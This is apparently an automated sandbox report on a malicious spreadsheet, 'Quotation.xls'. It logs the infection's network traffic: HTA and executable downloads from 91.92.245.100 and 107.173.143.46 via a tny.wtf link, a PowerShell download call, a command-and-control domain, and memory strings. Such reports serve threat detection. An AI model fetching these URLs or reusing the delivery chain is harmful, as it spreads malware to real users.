Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: unifrieghtmovers.com

Source: global traffic

TCP traffic: 192.168.2.22:49168 -> 23.95.60.82:2558

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 07:30:07 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28Last-Modified: Fri, 26 Jul 2024 06:04:08 GMTETag: "28ca00-61e204785c600"Accept-Ranges: bytesContent-Length: 2673152Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/lnkData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 0f d7 18 24 6e b9 4b 24 6e b9 4b 24 6e b9 4b e7 ed ba 4a 2d 6e b9 4b e7 ed bd 4a 28 6e b9 4b e7 ed bc 4a 0a 6e b9 4b 2d 16 2a 4b 2a 6e b9 4b 6f 16 b8 4a 2d 6e b9 4b 24 6e b8 4b dc 6e b9 4b e5 12 ba 4a 2f 6e b9 4b e5 12 bc 4a 60 6e b9 4b 24 6e b9 4b 25 6e b9 4b 37 ea b9 4a 25 6e b9 4b 37 ea 46 4b 25 6e b9 4b 37 ea bb 4a 25 6e b9 4b 52 69 63 68 24 6e b9 4b 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 6d d0 a2 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 84 13 00 00 42 15 00 00 f8 05 00 c0 8e 06 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2f 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 f0 dd 25 00 58 00 00 00 48 de 25 00 dc 00 00 00 00 30 28 00 a0 93 07 00 00 f0 26 00 d8 38 01 00 00 00 00 00 00 00 00 00 00 d0 2f 00 3c 06 00 00 50 fd 22 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 ff 22 00 28 00 00 00 10 fc 22 00 40 01 00 00 00 00 00 00 00 00 00 00 00 b0 19 00 30 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 10 07 00 00 10 00 00 00 12 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 6d 61 6e 61 67 65 64 b8 71 0c 00 00 30 07 00 00 72 0c 00 00 16 07 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 68 79 64 72 61 74 65 64 60 f7 05 00 00 b0 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 26 48 0c 00 00 b0 19 00 00 4a 0c 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 e9 00 00 00 00 26 00 00 22 00 00 00 d2 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 d8 38 01 00 00 f0 26 00 00 3a 01 00 00 f4 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 a0 93 07 00 00 30 28 00 00 94 07 00 00 2e 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 06 00 00 00 d0 2f 00 00 08 00 00 00 c2 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.92.245.100Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8895-Connection: Keep-AliveHost: 91.92.245.100If-Range: "25ddd-61e14da080a28"
Source: global traffic	HTTP traffic detected: GET /T2507F/csrss.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.173.143.46Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.245.100

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_000007FE899F7018 URLDownloadToFileW,

7_2_000007FE899F7018

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\379F14B3.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.92.245.100Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8895-Connection: Keep-AliveHost: 91.92.245.100If-Range: "25ddd-61e14da080a28"
Source: global traffic	HTTP traffic detected: GET /T2507F/csrss.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.173.143.46Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive

Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: tny.wtf
Source: global traffic	DNS traffic detected: DNS query: unifrieghtmovers.com
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.173.143.46/T2507F/csr
Source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.173.143.46/T2507F/csrss.exe
Source: powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.173.143.46/T2507F/csrss.exed.
Source: powershell.exe, 00000013.00000002.489480770.000000001C2B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.173.143.46/T2507F/csrss.exem1
Source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.173.143.46/T2507F/csrss.exep
Source: powershell.exe, 00000013.00000002.489480770.000000001C2B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.173.143.46/T2507F/csrss.exewerSh
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/up
Source: mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta
Source: mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...b
Source: mshta.exe, 00000004.00000003.421936825.0000000000173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...r
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaC:
Source: mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaP
Source: mshta.exe, 00000010.00000003.473435491.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.474035843.0000000002A65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta
Source: mshta.exe, 00000004.00000003.424041898.00000000029E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta0
Source: mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaic
Source: mshta.exe, 00000004.00000002.429059359.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htao
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaoso
Source: mshta.exe, 00000004.00000002.426650373.0000000000173000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.0000000000173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htat
Source: mshta.exe, 00000004.00000003.424339169.00000000029ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htax
Source: powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000007.00000002.453915026.000000001A871000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertru8
Source: InstallUtil.exe, 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: winiti.exe, 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, AddInProcess32.exe, 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000007.00000002.449435147.00000000039AC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449435147.0000000002BDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000007.00000002.449435147.0000000002421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tny.wtf/
Source: mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.0000000000265000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tny.wtf/jjJsPX
Source: Quotation.xls, 37330000.0.dr	String found in binary or memory: http://tny.wtf/jjJsPX0
Source: mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tny.wtf/jjJsPXM
Source: mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tny.wtf/jjJsPXa
Source: mshta.exe, 00000004.00000002.426650373.000000000012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tny.wtf/jjJsPXdO
Source: mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tny.wtf/jjJsPXe
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: winiti.exe, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: winiti.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: winiti.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
